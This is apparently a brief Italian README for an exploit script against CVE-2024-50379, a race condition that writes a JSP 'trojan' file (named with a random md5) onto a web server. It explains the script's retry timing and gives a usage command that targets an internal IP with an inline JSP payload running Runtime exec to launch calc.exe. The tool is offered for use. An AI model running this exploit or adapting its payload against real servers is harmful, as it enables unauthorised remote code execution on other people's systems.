
CVE-2024-50379-exp
Durante i test si è riscontrato che alla prima race condition la scrittura fallisce con alta probabilità e occorre eseguire nuovamente una race condition per scrivere il trojan. Per questo lo script esegue prima una race condition fissa di 6 secondi per verificare se la scrittura è avvenuta; in caso contrario, esegue un ulteriore controllo di 10 secondi (personalizzabile dall'utente o predefinito). Il trojan generato è un file casuale md5.jsp
python .\CVE-2024-50379.py -u http://192.168.31.33:8888/ -f '123456<%Runtime,getRuntime().exec("calc.exe");%>' -t 10
image